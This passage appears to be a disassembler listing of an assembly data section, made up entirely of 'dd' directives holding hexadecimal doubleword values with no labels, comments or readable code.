		dd 2E05BBAAh, 0FA356BB7h, 0E23A84D0h, 0CFA52DB3h, 0EF80C80h
		dd 88035D13h, 0E3D25589h, 0A0B6B399h, 7BFE4F0h,	9737B525h
		dd 0C1350FCh, 3100E286h, 413538E1h, 0F7119128h,	2B5E8D0h
		dd 6500547h, 0D98163B1h, 0D42F6E7Dh, 67004377h,	0F344921Bh
		dd 3406AEh, 54C1EB99h, 55514F5Fh, 1A0743Dh, 41CF387h, 0E5E01FC5h
		dd 0B390DFD1h, 8EC01D16h, 220FAE65h, 0AEDB8E0h,	0A700B051h
		dd 98D90D10h, 3B32004Dh, 34F83D5Eh, 475A0157h, 0B9712CC1h
		dd 0A58FF080h, 441F7F1Ch, 8405D300h, 964B7C0Bh,	0FA6E0524h
		dd 5CEE786Fh, 0E45DC02Ch, 7E0731D1h, 20B54244h,	0AD2138D2h
		dd 0B3700829h, 23EF3182h, 773C007Eh, 78086613h,	88F84A62h
		dd 3388514Dh, 0F42D427Ch, 0E410F923h, 1A21A040h, 7D28D33Bh
		dd 0B418589Dh, 565840E2h, 0B1F744D8h, 0FF84F354h, 0E9A158A9h
		dd 3539E4AFh, 0A888257Ch, 0D3D4A08Dh, 0B140D869h, 2BFF0D44h
		dd 0C7D7C3E0h, 83EE1318h, 50008574h, 3C0942Fh, 46CCB2h
		dd 988A0FA8h, 2589B1EEh, 0E8836C00h, 805773D1h,	51EA00D9h
		dd 8C5C4A03h, 2533EDFDh, 58B804Ch, 0B4F64466h, 0FEBC0004h
		dd 4908587Bh, 0AE007E72h, 0AF69201Fh, 905C2E7Ch, 0B6B0041Ah
		dd 80E194EFh, 0D11F404h, 84FB9B00h, 14D55B5Ah, 370B3027h
		dd 0A48B2CA9h, 0C6B24000h, 0FDDD0CEAh, 55CA0008h, 0CDA859BCh
		dd 3A00957Ah, 0DEC313D4h, 184290D8h, 0F8F4E9B0h, 5300EE2Fh
		dd 4E1368A3h, 792E63h, 0C68C5E38h, 0B2F029D6h, 24C2AE0Fh
		dd 0D9BF8C9Ch, 612000DAh, 0B62CAF21h, 0F100AC13h, 499493F9h
		dd 0DA56DDh, 40BEECE5h,	7188477Ch, 14673519h, 4DCC9941h
		dd 0B8250311h, 0A4D87F90h, 0C9B71C0h, 9E0B4300h, 170D8A15h
		dd 4BFC009Ah, 813B332h,	8200B630h, 0B82696F2h, 3A65A457h
		dd 3380FC52h, 0BCBA7804h, 0AA60CA39h, 0DB610118h, 48EF499Ch
		dd 29DA3004h, 5C9880D6h, 69006FECh, 0E0F50579h,	435BEEh
		dd 6EF0B38Bh, 0D85717A2h, 1D97780Fh, 0CF2DC09Bh, 90185993h
		dd 4B8F005Bh, 0EBDBD4B8h, 0E509606Fh, 31A710Ch,	0F8F73CBAh
		dd 4212D0h, 688AAC4Dh, 34B13FBBh, 5229101Fh, 3AF4C380h
		dd 0A1259BAFh, 33E4F8D0h, 90C418D1h, 28EF60DDh,	0E3081500h
		dd 58660A3Dh, 8A4C0092h, 4E1BFEDh, 8FF444CBh, 0EC838C00h
		dd 8430D337h, 49ECFB42h, 67C01EA1h, 1A708095h, 0DAC6656Ah
		dd 146058C1h, 0F8806C9Fh, 0B5074FB8h, 930F35AEh, 60AD741Fh
		dd 0F989D1F1h, 8FE9E975h, 30929180h, 64798DEDh,	906191Dh
		dd 739F8240h, 0B1FA58h,	57BA2A02h, 0A8D9DDC6h, 7D3CF03h
		dd 88A6798Eh, 0A01FC4BDh, 0B9BA7h, 2C241C64h, 1B4D55B7h
		dd 0A3CD2D00h, 0A02B01ACh, 0FA70006Dh, 5A3A05C3h, 80DEE0ECh
		dd 0DB94ABC0h, 0BAD008h, 0C80F7B44h, 82344E2Dh,	0C0063924h
		dd 733A9303h, 5780302h,	0DECDF963h, 0B5004078h,	18B1252Fh
		dd 3D7E882h, 164B325Fh,	0A198ECDBh, 4978AFFCh, 4A19D415h
		dd 3087AC04h, 3E48217Eh, 8018EC8Dh, 57242B0h, 0AAB600DFh
		dd 87157296h, 0DA61E6B9h, 8114A028h, 0A1804807h, 0F77621A7h
		dd 397100A5h, 0AFAE9E3Bh, 0C23A0364h, 6FD78142h, 0F792B067h
		dd 0DEFF0h, 600C8456h, 0E26D4082h, 3855FC00h, 522CF621h
		dd 46EB0E8Eh, 0F5408F24h, 75ED1653h, 19AD0500h,	0B0259CBFh
		dd 3B0E0059h, 217ACE08h, 0AE003F90h, 0F236A267h, 0DD1D8Ch
		dd 5B2D12C6h, 0E8070527h, 3E21100Eh, 0CD96405Dh, 3DFFA879h
		dd 8080669Ch, 42580151h, 2500E3FAh, 0C20BD511h,	58E7B3A7h
		dd 0FC39A471h, 47D8C0D1h, 69AB0556h, 451120h, 0BA437190h
		dd 0C90014AAh, 42EFA2B1h, 7DD48A1h, 1C95AF5Dh, 18D0404Eh
		dd 680050EBh, 173C9FC5h, 1E16FAEDh, 0FDD597h, 7A4AFBA0h
		dd 5500460Bh, 86D79987h, 1F3E507Fh, 0C0A643F5h,	0F724F98Bh
		dd 6C004619h, 0E7FF2BC5h, 25B49Bh, 0BA26AF37h, 509C838Eh
		dd 0FD7CDF00h, 413B8D43h, 4E9E00F3h, 0B0C3C8ADh, 0EF00279Ch
		dd 4A899ADCh, 0CAC2B8h,	4998257Fh, 0D83BFCFAh, 0A4BD6018h
		dd 3F06210h, 5410B35Ch,	76C0328Bh, 911CCA24h, 2C0A8F5h
		dd 8FEC569Bh, 0D0D200C6h, 5928B3Fh, 0EA07F3BEh,	41C71423h
		dd 0E0BC26C0h, 0D1E00Ch, 39AD40Ah, 9974CDC8h, 7B835200h
		dd 0E9E5923Ch, 93C30EF3h, 0CDAEB412h, 24D4F980h, 1A00CEE7h
		dd 1B39CCEFh, 0F8AA1E8Fh, 0AC0B00A0h, 7BD6E87Fh, 0C80160C1h
		dd 8F4D8EEAh, 5420D7ABh, 0A30D5C21h, 0EF2E0B01h, 0F9C45B01h
		dd 6DFFEC84h, 77471207h, 2477D440h, 8BB48780h, 9F20E1Ah
		dd 5460B22Dh, 43EAFDEh,	0D820E003h, 0A877EE17h,	8463AAh
		dd 2C4C4FF2h, 0B98BEDBFh, 0F722EF2Ch, 7DD73D03h, 0B83F0A3h
		dd 455B00A0h, 0CF1689E8h, 0D67CB0F0h, 80A8D500h, 0D1ED2D67h
		dd 0CDB00DCh, 440E8E2Bh, 0A5002124h, 0F69FC25Bh, 10175Dh
		dd 4E9966B6h, 5DB1259h,	56749400h, 8E184A6Ah, 4C8B00B1h
		dd 1F682699h, 581505AFh, 98C966h, 0A6586E6h, 12FE79FAh
		dd 5A689Bh, 3C8063DFh, 7500E74Ah, 0FD5C847h, 0ECE0155h
		dd 30C750E1h, 0BDBF0240h, 0F800A249h, 3416750Ch, 5CDE367h
		dd 9079AC9Bh, 827CC091h, 0E2268324h, 75002C2Ah,	3827D9EEh
		dd 69BB01F6h, 5CEA3E93h, 0FF1270D3h, 7D70307h, 0D2306556h
		dd 7794849Fh, 4E720066h, 7838C727h, 0AB0098F2h,	0B6C47D0Ch
		dd 7A121C8Eh, 34F2C0h, 35E76EC3h, 0C5A754F0h, 77745E00h
		dd 0F1EAFC41h, 56A50F18h, 809D83A0h, 0AC641715h, 0C9002B99h
		dd 53131D42h, 30527AC3h, 0F4B01207h, 57B0CA29h,	0E387E00h
		dd 4C2DF3A0h, 0BECE0F43h, 0BCA0A8C8h, 0A34FF76h, 0DAA74807h
		dd 5A807037h, 4B42CC3h,	0E191E61Ch, 0E232C082h,	0D10FC836h
		dd 0C0CE468Ah, 0A5E5DC5h, 12EE0054h, 0E08758B5h, 0AE00D573h
		dd 0F648A04Bh, 0FD010Bh, 0FE7219D2h, 3CAC2367h,	8C00C973h
		dd 7EC35F97h, 779E4954h, 839A00B4h, 0C0C8D1BFh,	3E0025DAh
		dd 0F4EC0EEFh, 171685Bh, 0F7D5AD8Fh, 0D0F5CBBCh, 0CD003B0Ah
		dd 31C1B1AEh, 0C28FCEh,	6B5D05DFh, 0D79FC8DBh, 0B654EB00h
		dd 88FBC406h, 2E8009Dh,	897E131Fh, 0D63C6FE1h, 159EE10Eh
		dd 0AB61DE1Bh, 2EA83EF0h, 694D41h, 0B5957155h, 0D824C220h
		dd 19007487h, 0EE16321Eh, 5990B50h, 0B98FEAAEh,	87FAC422h
		dd 0B67FA740h, 7C8C0E00h, 321F62Dh, 6BC309B4h, 0E8801B6Dh
		dd 711482D3h, 0EB7C0100h, 88C75542h, 48C171DBh,	0D400FC63h
		dd 6BCFC231h, 22000D57h, 5D8382F2h, 6FA799h, 89CDFB98h
		dd 869C9743h, 3061B100h, 2E1A0632h, 7FB0799Dh, 66BD0064h
		dd 0DE2CC527h, 6100C4DBh, 6C52A1A6h, 48065FF8h,	880060B5h
		dd 775322AAh, 0B076CF6Ah, 0BE933800h, 0AD47DF0Eh, 138100C2h
		dd 0A35B5EFEh, 0E703F7F9h, 0DC986821h, 0C010E067h, 6E740307h
		dd 30643B72h, 0D0C0CC82h, 0A900F43Ah, 0B332B62Dh, 7D4FC80Ch
		dd 74E900D0h, 14D69C7Dh, 4400D8E1h, 0BF236B01h,	0E27B679h
		dd 6F038F76h, 42104026h, 0A5B8FD00h, 2E7EB118h,	0BB971F93h
		dd 62807F96h, 82130ADEh, 0F00E585h, 0BCFBDFB9h,	0F13732h
		dd 16D706A0h, 9F7D6A92h, 97117400h, 4DD5D0ACh, 237B051Eh
		dd 80054F2Dh, 3E6CCDA2h, 400BD203h, 0D08BB2E8h,	1CEEB91h
		dd 0FE904B22h, 0DCF0AA8Ch, 273DD2AFh, 377200DEh, 84C4A2FBh
		dd 0EFA50995h, 7C00464Ch, 710C014Ah, 6832B802h,	0E0645D15h
		dd 13E8F10h, 26331069h,	0E888FFF3h, 21007F77h, 0CEFA022Bh
		dd 0C140F5h, 377C9445h,	5A78F4E4h, 8FD3130Bh, 655000B1h
		dd 2E1DE8B6h, 8184205Dh, 0E40CF696h, 0D284C87Bh, 550366F0h
		dd 0AFED63E5h, 246EC1D3h, 0FEA7A0E0h, 0E602005Dh, 5B83CDA8h
		dd 4A00786Ch, 85DA4D04h, 0FCD412h, 0F70FB934h, 0A0556B21h
		dd 6008503Eh, 0AB79AFD8h, 378DD27h, 0A170F054h,	0CC5064E8h
		dd 0EC086950h, 0FAD37F01h, 9DD4556Ah, 2CE6CDCCh, 0B090F9h
		dd 8750FC34h, 0AA787997h, 0D8009274h, 13084AE6h, 27697Dh
		dd 0EA3BCCC8h, 40E4F586h, 0E9B5900h, 2C1533B5h,	0F4061D5Bh
		dd 0A46901C4h, 0C0645C12h, 0E90093F9h, 4629ED86h, 3E0608EAh
		dd 5300CF77h, 430B781Bh, 0EC028D8Fh, 0AB23F6FAh, 2476D5h
		dd 0B068145Dh, 0B9000270h, 48C4A308h, 1F866A5Ch, 8180DFBCh
		dd 828C0CD9h, 8080D206h, 0AE23ED74h, 7907A67Fh,	7BCBAD52h
		dd 8621584Eh, 81250040h, 15EE9C12h, 0BC11C311h,	1A3BCEBDh
		dd 945C7E8Bh, 79A6700h,	0DC12BF3Eh, 1BF1001h, 34AD7C27h
		dd 9419D05Ch, 670C7000h, 332D5487h, 0AFE1E1A6h,	709F4849h
		dd 7CD84A9Fh, 0B378848h, 245B6B00h, 4CCA195Dh, 493D9FB6h
		dd 8C72EA00h, 2001F07Fh, 21238200h, 0DD8D97AFh,	396F2653h
		dd 9FAA007Ch, 990E7F95h, 0A10C707h, 157090A7h, 519D3A9h
		dd 4227BC1Fh, 6EC0FB74h, 0B8A8A4h, 23FBECBEh, 7FA631EEh
		dd 0E712E4B8h, 0E0901B42h, 615CBCFDh, 7B2720FBh, 20804049h
		dd 22A8D98h, 0A0014050h, 90ECC4BCh, 0AE080E8Ah,	10E9A841h
		dd 3421ED0h, 0E1FA316Ch, 0D0BFD148h, 0A15035EEh, 0C5FCF000h
		dd 13DEF98Fh, 0EC449091h, 0E74400EDh, 0B6AE0F2Ah, 9674B031h
		dd 0E54E949h, 20029222h, 5C3EDFD4h, 93EC02BBh, 0B2C70C14h
		dd 39490840h, 88113363h, 912FD8EAh, 1DBF859h, 899EB86Ch
		dd 6EF46086h, 0CD94F900h, 5106ABh, 0A4C9420Dh, 0D791D022h
		dd 63AFF80Bh, 94DE00B6h, 3ED93Fh, 2FA3F6C2h, 55637A7h
		dd 0FE630E00h, 49660314h, 648600ADh, 0ABA78B4Dh, 24004B90h
		dd 0D2212ECDh, 850F81h,	0C48D6099h, 3BC94F29h, 5CC51E00h
		dd 97F2A878h, 612100FEh, 0A08A4D89h, 0B300DB90h, 7ABC06F7h
		dd 5EEB40h, 4B9A6136h, 89096DB2h, 4D5C7500h, 6FEE90Eh
		dd 923B038Ah, 737D6CCBh, 47B846E8h, 81FF431Ch, 202F017Fh
		dd 8AC1A904h, 1D4B38D0h, 6C42F4E9h, 0B33E0001h,	97A2F990h
		dd 1DB55100h, 2A2295DBh
		dd 0AE3200FFh, 0AF81EBC9h, 0C52C904Ch, 0A5078742h, 3112A74h
		dd 0EEE44D1Dh, 68BA0153h, 0E4FDD2DEh, 61C2E470h, 0C8600300h
		dd 0AD4A9E93h, 94A200EFh, 0AB779A0Ch, 70F1EE6Ch, 8B00C1E2h
		dd 0CE93C929h, 7D1A1449h, 600A0052h, 3A790D3h, 370218B3h
		dd 53172C3Ah, 0C7DECDh,	0AE488701h, 65070F50h, 172D0E78h
		dd 19905A27h, 0F0CCE905h, 0EA9808h, 0CFFFC94Eh,	84ACA5EFh
		dd 0AF92E700h, 17639143h, 0DA69079Bh, 10A25F44h, 836B0F54h
		dd 0D54C71C0h, 8157Dh, 98400116h, 6B54B8F7h, 0D27A370Fh
		dd 0F5A4801Ah, 117C0Ch,	248B69E9h, 557127EEh, 44B54300h
		dd 52F5BAD8h, 6C400020h, 4BE50C83h, 3500E02Ah, 64A4DC96h
		dd 19B58844h, 0C849ACC6h, 5CA0F35Fh, 0DB003F8Fh, 0F4C474A2h
		dd 757B7E4h, 94D08CBCh,	0C47806Ah, 7200142Fh, 0AA1B80EAh
		dd 18B5D25Ah, 0A10B6EC4h, 0D100738Bh, 0D46C1F61h, 2B913Ch
		dd 7C9581C1h, 8DCA8792h, 4FC22E03h, 0A89BC9B0h,	698F0F8h
		dd 0DB5CA323h, 0E9001936h, 0E44A739h, 1C59337Eh, 8A3E54A1h
		dd 1901904h, 0F3DB8E1Bh, 7D3C0F4h, 118F03Eh, 9193D5D6h
		dd 0A5C48FA2h, 20A0A015h, 0E7FA0060h, 6D8D72D4h, 10FFDC0h
		dd 0E05FE6F9h, 434CA081h, 55322C31h, 8F200F3h, 21164D25h
		dd 0D5C41707h, 35C0613Dh, 0C09EE1h, 464F1F20h, 0C5D84D85h
		dd 0E6D71200h, 84B40475h, 670B004Ah, 1BC9D5DEh,	0C774D8FFh
		dd 494D1700h, 5407A40Fh, 48960001h, 0B508B405h,	0F930584Ah
		dd 0AC9E2943h, 64DA00AEh, 0B10B3418h, 287F4F0Ah, 0ADA38200h
		dd 27242F80h, 0F740023h, 41CE6432h, 0B400DE87h,	1665925Fh
		dd 390B7C8h, 7513A6DFh,	0ECB896DAh, 7C00297Dh, 9252F94Ch
		dd 0CCD24Dh, 5F638356h,	8EDA74FDh, 2F3E39h, 0BD75F93Fh
		dd 1A2C22Dh, 0A96CF6E3h, 84E13372h, 24345C98h, 63B7FB80h
		dd 0F9B300B5h, 605767DCh, 0E6F664C4h, 0EE00C3FAh, 1A9D9A96h
		dd 3FB93917h, 2480B06Fh, 8BA3B18Ah, 5300D452h, 9495A55h
		dd 1E8FE81h, 3DA8F5DDh,	80D8D371h, 761C82A8h, 7D90252Ah
		dd 39150049h, 4C74DD51h, 710541B6h, 0F3CB1FECh,	4D40A400h
		dd 899A04h, 1E1DE774h, 2B3A6BFDh, 989C20A5h, 0A8CEC5D0h
		dd 88AB5660h, 3E00AEFBh, 0A374733h, 1817486h, 0CDE873E2h
		dd 0DC914457h, 6F00DFBDh, 0F9B1BE4Ch, 0D03CD6h,	593EF4EAh
		dd 701093EFh, 0BC004473h, 83611916h, 0D7F2FEh, 2037A3C5h
		dd 0C3EF7058h, 0F174E1FAh, 1C004975h, 74904772h, 7661A7Ah
		dd 93484311h, 693C2031h, 420096A2h, 55D5A8BCh, 306181E3h
		dd 4960ADD8h, 9B06A19Fh, 0EEF713Fh, 0AF3D03C8h,	7F6BBC3Eh
		dd 86FE180h, 66741500h,	0F10CBE48h, 0EA80A079h,	62340021h
		dd 158E40B0h, 2116D41h,	5A8053C7h, 87647CC9h, 8E809B46h
		dd 96991CC1h, 0BBFE8400h, 588B7944h, 65E8010Eh,	713EB019h
		dd 49EF036h, 0F4C0FF7Bh, 0C139B7EFh, 9743058Dh,	92CA0Dh
		dd 5C464AA0h, 5A002B56h, 2EE6FC24h, 1447282h, 0DA36149Ah
		dd 30A30C61h, 940149C8h, 9609D20Ah, 204A9591h, 45B22904h
		dd 300F2573h, 0F63E804Dh, 28070C0h, 85631F83h, 0D0A04ACFh
		dd 3B7E9B9Eh, 623D5700h, 0A669176Ch, 0EB7114C5h, 0D500DC0Ah
		dd 659A2024h, 223D79A0h, 33A480B5h, 41B0485Ch, 0EF1B0003h
		dd 71AC96B2h, 0ED1C3577h, 0FE4F3815h, 0AFBD650Eh, 0E170D0C0h
		dd 2E0C001Eh, 0E2C5794Fh, 5803EE2Dh, 4155D652h,	97A68820h
		dd 0F91F00BDh, 0B4A9B7D9h, 0B57CA153h, 22706B1Fh, 4FF06000h
		dd 0C0DD953Dh, 5905B4A1h, 0A9006BC5h, 0BDA3665Fh, 1C27C17h
		dd 0AA6C7640h, 2262C825h, 55640044h, 0D6AB415h,	8A2A0B57h
		dd 0CA0F594Fh, 10EC07A0h, 36EA0953h, 0E7510C00h, 5B2077DCh
		dd 49787Dh, 82AB2316h, 33F90253h, 0A6105F1Fh, 0E480011Dh
		dd 0FC3A2D6Bh, 441F05Bh, 8363B0C9h, 945C9057h, 0BCA848C4h
		dd 4AECDC7Fh, 0F0F16918h, 5225598h, 0ACCCBB21h,	0AD468006h
		dd 7503C951h, 8E7DAE18h, 1F52D0DDh, 363800E0h, 1B841AAh
		dd 0FF1D215Fh, 0D940FB4Bh, 52E70FAFh, 35CF12DBh, 3E3C02A1h
		dd 5EE08C69h, 5507FAE4h, 17409329h, 0C3D900DBh,	604FD8A7h
		dd 0E4B528C0h, 9A00AE5Ah, 35A87B67h, 58F84D4Ch,	322C0B27h
		dd 64E80094h, 4B9282BDh, 75232B00h, 959E0E6Bh, 6D5106DAh
		dd 782A692Fh, 990CDB78h, 102B7CC7h, 8D883BC9h, 3C46B300h
		dd 6206C09Fh, 484D9E18h, 0EAE71680h, 0FA960F3Ah, 0B9A7E57Ch
		dd 6D8069BAh, 0ABF42F6Eh, 80DF0C73h, 0DC1BDA43h, 0B174E070h
		dd 0AE270FE8h, 60801625h, 923ECA7Fh, 13872400h,	66181C8Dh
		dd 9FEA00C0h, 0ACF02A43h, 0E200471Ah, 42DA525h,	584EBB46h
		dd 380EBD71h, 0DC20128Eh, 3772970Ch, 5BE8600h, 1BB97C28h
		dd 0AFE03C75h, 0A39FF6BEh, 0F46AC10Fh, 0CCA02F90h, 7A005011h
		dd 8781BA47h, 149BF73h,	0D72CECC7h, 9FC06B3Ch, 65030E10h
		dd 0F06337D1h, 0D2CD03h, 900C019Dh, 0E6C9C72Ah,	0E0401500h
		dd 646073F1h, 88A80097h, 7107C50Dh, 0A900BF76h,	3D8DBDCCh
		dd 798F2AD7h, 8DCDEh, 0CAC04CFAh, 9800BEF7h, 90AA8745h
		dd 0CE3BFEh, 146E505Dh,	104D9359h, 85818614h, 0A64900C1h
		dd 33CF4BF7h, 0B21D00BBh, 0AC1F404Ah, 0A7009B3Bh, 0BF7B8827h
		dd 1C4C108h, 26E82D6Dh,	0D8F39DAEh, 0E001DC0h, 865CE2AFh
		dd 0A3AECF2h, 0B9229F52h, 0B3D400B8h, 7E23CF83h, 57FACE00h
		dd 0E41B9315h, 1A3A0045h, 7D864825h, 8D3D8BECh,	2A29799h
		dd 56129000h, 0E610ED46h, 18B71F68h, 496AC039h,	7EB48B4Dh
		dd 0DD005974h, 0B2D83763h, 0DEE8D6h, 0B5C57520h, 5404EEC1h
		dd 518CCB00h, 82EF381Dh, 249600EDh, 61716C3Eh, 2200D2A7h
		dd 5EB88868h, 2F748EDDh, 0E0E00513h, 75009E8Ch,	37A1FC65h
		dd 72A777h, 0FA6C2417h,	0FD386B92h, 0FB0ED478h,	400F28DFh
		dd 5C5A3CE6h, 913000EEh, 6990F20Ah, 0F00133A9h,	8268B2F5h
		dd 1DF04E42h, 73CC00A6h, 0D949D72Eh, 0B5E45F03h, 0E7873901h
		dd 577D281Ch, 75DC81C5h, 4BBA00A2h, 3359443Ah, 2E002BBEh
		dd 0D0DFB75Ch, 1C9AC5h,	0B389D3F2h, 9129470Dh, 0C0CF5800h
		dd 355CEAB2h, 1107975h,	7CFF4E8Fh, 0D8BF8A11h, 0D500CF8Ch
		dd 140D37F7h, 4D886Bh, 4B72260Eh, 0D96E4347h, 0B54A5800h
		dd 2F366478h, 824F0050h, 6051CB3Ah, 7601ED32h, 80D3DB1Bh
		dd 0EEF1AB0Dh, 4D4A60h,	1088E5D1h, 0E220BDB1h, 3C2E1A3Bh
		dd 21DB80C2h, 0C4EC6CC1h, 0FE3B0001h, 0AF7FE750h, 0D9F64FFBh
		dd 133A0A00h, 56D240D7h, 24C190DBh, 0F3590ABh, 140EDD72h
		dd 0BC675280h, 5D0F155Eh, 20E2D8BDh, 2528E4EBh,	4DF879h
		dd 0B147CB90h, 0E86DB9BAh, 7D578BDh, 8B93E5DDh,	81FDB0CAh
		dd 10FE3B52h, 9B81500h,	0BFE5D4D0h, 50B200E9h, 0E48BB3C6h
		dd 0F27C2E2Ah, 342C0C00h, 5A89FF63h, 9EAD0053h,	9F8D65BBh
		dd 4C3083AFh, 59A85201h, 0ED67009Bh, 3AECFEFh, 0CC03934Fh
		dd 0A3862C46h, 4B721C12h, 0A0807B62h, 67164401h, 0C500A443h
		dd 5AFEC993h, 18623FB0h, 2069D504h, 0F100969Bh,	0FC88730Dh
		dd 0ED36B9h, 0D0134380h, 5DAAB71Bh, 9FC1CF00h, 90B3D103h
		dd 0DFBA006Bh, 0BBEF7348h, 81E65952h, 0A1758000h, 8B334432h
		dd 7D5E0017h, 68B7A71Ah, 5700A802h, 0E09FDED1h,	1D5F65F4h
		dd 40FA1C5Ah, 29693164h, 4700F27Bh, 14E73ED0h, 19FC3B2h
		dd 3DBB6838h, 0C4AFD73Ch
		dd 6BFEB909h, 2044E000h, 0E9E4D5EEh, 0E32239DDh, 72910780h
		dd 49B90CD1h, 0C09F9578h, 741E07Ah, 3D1053F0h, 0BEA23094h
		dd 0BB00225Dh, 52B0F537h, 0D43FCAh, 0EC73D0CEh,	0FD974758h
		dd 4426CD00h, 0A3CB91FFh, 568001FEh, 463BBF6Dh,	0AACFE830h
		dd 7B7AEE00h, 81C9C611h, 0A0458BEh, 0A2D43600h,	0B1E77C2h
		dd 0FCC3CC00h, 0C661283Bh, 977C0591h, 803F9513h, 0EFD56D1Ch
		dd 0B29D4E00h, 8AC4B344h, 0F6435037h, 65F6A1h, 8C357423h
		dd 0EC114AF8h, 0B0170700h, 64CB618Fh, 5BE800D7h, 0D491BF9Dh
		dd 68006CCFh, 7D0AE339h, 0E6F82FD9h, 0DBD1002Ch, 0F59F735Dh
		dd 0FA0079C6h, 37FB5AB1h, 0E7C93A8h, 160EB9C4h,	455F73E0h
		dd 0A0BDA19h, 0D7EF2361h, 27960C80h, 0E40051E0h, 0CF729025h
		dd 7B588369h, 864D1FDFh, 40FFDF9Dh, 0AF3A2E32h,	0D737DA3h
		dd 0B864773Ch, 40A41D49h, 91783C00h, 0DC0F06h, 0F6B1ABD0h
		dd 39500E4Ch, 3CC58E00h, 40C7D6CFh, 0A20400FDh,	2616421Dh
		dd 590EF332h, 0E3CFB796h, 98E5EB1Bh, 0F1282Bh, 3F18F68Bh
		dd 960EAB8h, 0AC1C58h, 127A9921h, 3E64F719h, 0F001FCE6h
		dd 0B6B235FFh, 0D7ABD859h, 40ED9700h, 756FCECBh, 0E7A93FDCh
		dd 80A1049Fh, 67CA1DE9h, 9600C9E4h, 3FA011DEh, 7B827Fh
		dd 89DB9F66h, 0E760D633h, 7732D900h, 5CE3EE21h,	1AB5587Dh
		dd 88EBDA00h, 1BBD5EFBh, 0C01AA200h, 937E3DB0h,	124F0055h
		dd 410F489Eh, 921C87A4h, 0F2C0F423h, 6D296117h,	3DB82CBBh
		dd 3FD60158h, 0DCF765EFh, 37E05CB6h, 33F2748h, 8DF8CAB2h
		dd 71C0BC58h, 3FA36CDBh, 68801026h, 0B00481A8h,	9000541Eh
		dd 0BC315D96h, 1EB4D6E6h, 476BB2BEh, 0B0CB5E09h, 686777D0h
		dd 4E754D00h, 97CD1A8Ah, 17AB38F8h, 262E430Eh, 4B39D62h
		dd 38F6C8E0h, 4C695400h, 4F7F17F7h, 0EEC5009Ch,	0F4B89D03h
		dd 6603B64Ah, 0A37CA696h, 2E25E878h, 2CCE00E5h,	0E8AD0C3Bh
		dd 0C5003377h, 866C4AF5h, 3E2E13B9h, 3D80D810h,	52891FF0h
		dd 0D700F89Bh, 0B773B368h, 0EC4D6B83h, 5CB1022Dh, 2A04D8E5h
		dd 0DBF2605Dh, 0FCEE05C7h, 0C04333B7h, 8C6B3B2Fh, 440FC8F2h
		dd 0A0C55A8Dh, 9AD44F63h, 25AA0088h, 0BD2F094Ch, 9F2502B3h
		dd 164F818h, 0F3926F4Dh, 0E0FFC4C6h, 0AC00F6DAh, 0E66C0750h
		dd 74C5743h, 7D181C54h,	9C3DAF79h, 8FFA407Fh, 1A550BC5h
		dd 0EB62AD04h, 56C01431h, 33A9710h, 0AF3EE4F2h,	0C8C084DDh
		dd 0B9017BE2h, 79619223h, 57201E87h, 0FEF1005Ch, 0E8A116CFh
		dd 9F182360h, 58F4B4A4h, 3420005Dh, 0F418D101h,	6100CC28h
		dd 0B05B03A2h, 7EC05542h, 10A001Bh, 991C939Fh, 4900FE44h
		dd 0E6A6DB8Ch, 92BBE3h,	0CA6F8D22h, 28A882B2h, 0BA74E000h
		dd 0EF516106h, 0C49D0047h, 0B164CC58h, 8A009793h, 0C83F349Eh
		dd 76557761h, 0AA250089h, 0C9570395h, 500EE2Bh,	1C218EFFh
		dd 0FBB5E7h, 0C873868Ah, 64C23975h, 0E24E8900h,	0F116D355h
		dd 8AA02F7Eh, 0A2003C78h, 0D4AF083Eh, 88D18Fh, 3966463Ch
		dd 0EB0D6EB9h, 0B2610500h, 57E02A97h, 88381C99h, 12C4413Fh
		dd 71959F3Ch, 200DFDCDh, 132C875Ch, 0D400750Fh,	43AE26A6h
		dd 0BF810066h, 5C942A96h, 5A033A36h, 7115EDCEh,	7E11D0D4h
		dd 12E40031h, 6C0EB5CDh, 88029F34h, 85C78C14h, 0FE504166h
		dd 48E01971h, 8EA00D9h,	6D6B604Bh, 58FA1646h, 0E17AC900h
		dd 3A341A32h, 0A96A0009h, 5D188A55h, 1F099127h,	8F2602A8h
		dd 0F71006Bh, 0A0C10AA7h, 3EBFFD8h, 4BA6CD75h, 7DF02B0Bh
		dd 41007C6Dh, 0C13CFA8Eh, 5E43453h, 4490BF39h, 0EBC0AB22h
		dd 778F4660h, 8981EB66h, 0D0845D3Ch, 291C50B8h,	7600CE6Ch
		dd 7CDB0C30h, 952BD5h, 8454B6B1h, 15879474h, 0FF01BFB0h
		dd 382E0169h, 0AC558B4Ah, 363AA581h, 0E0E58C60h, 0D09507A6h
		dd 80309B9Eh, 0BF6E1F3Eh, 53C9420Fh, 9047E33Bh,	7F5588F3h
		dd 0DCA378A5h, 343D0098h, 4D9E1DD1h, 1B0DF62Ch,	80223900h
		dd 48C64F23h, 0F800322Eh, 0B266736h, 94027604h,	8FF63B82h
		dd 0E917608Ah, 38EA0050h, 0C73D6EA3h, 5D3BC32Dh, 9068085h
		dd 61A61A29h, 74190002h, 58C2A0F6h, 7000FC11h, 23FAC8B5h
		dd 0D16342Ah, 0E87C47CDh, 0B912E0E0h, 0F65D0302h, 7D4557C1h
		dd 39B32AC0h, 0AEB56A00h, 6F23BE20h, 0A8D300B7h, 199FB0A7h
		dd 67B0A672h, 911358E8h, 700F7BEh, 7F7028B1h, 0EF301F4h
		dd 26212B02h, 44B47h, 0E6C65F8h, 0C83E0Fh, 0DDE5DF37h
		dd 87AE7E3h, 0DEF7D600h, 6F6416FEh, 8EBF0095h, 0ED565551h
		dd 69008AB5h, 23879AE7h, 0EEB0E2AEh, 3210071h, 9C227649h
		dd 30003C75h, 6A1592EEh, 54E1BBh, 3718B93Fh, 8DA1BD42h
		dd 5C056200h, 394D4FF2h, 0DFE63Ah, 0C9A08BE4h, 0F909410h
		dd 4986C40Eh, 0CE6780B0h, 0BD996Bh, 0D498FAFFh,	0F58CE415h
		dd 0D644A900h, 9ECDDC32h, 94810131h, 0B130678h,	5AFAD419h
		dd 838CA500h, 0CBF32AD3h, 0F7990330h, 8E5705C8h, 0FA8036E2h
		dd 88A17D03h, 0E80F1800h, 0EB777EDFh, 0A276000Ch, 0DB97BD86h
		dd 0BF00D3C8h, 23CD85B5h, 319675h, 675BE15Fh, 768EB678h
		dd 0AEB82C12h, 0B00064B8h, 192BFC48h, 9F3A4BD8h, 9308809Ah
		dd 23ED5E2Dh, 0DC6D5044h, 0E26E03B5h, 3FD9254Fh, 71E629E8h
		dd 0FDB93C00h, 0F5EE2367h, 5170069h, 68BE24EAh,	0BD14C111h
		dd 0E80F08h, 0D7AF1B5Ah, 2F4AF9h, 0B3F1DE6Dh, 34CFEC71h
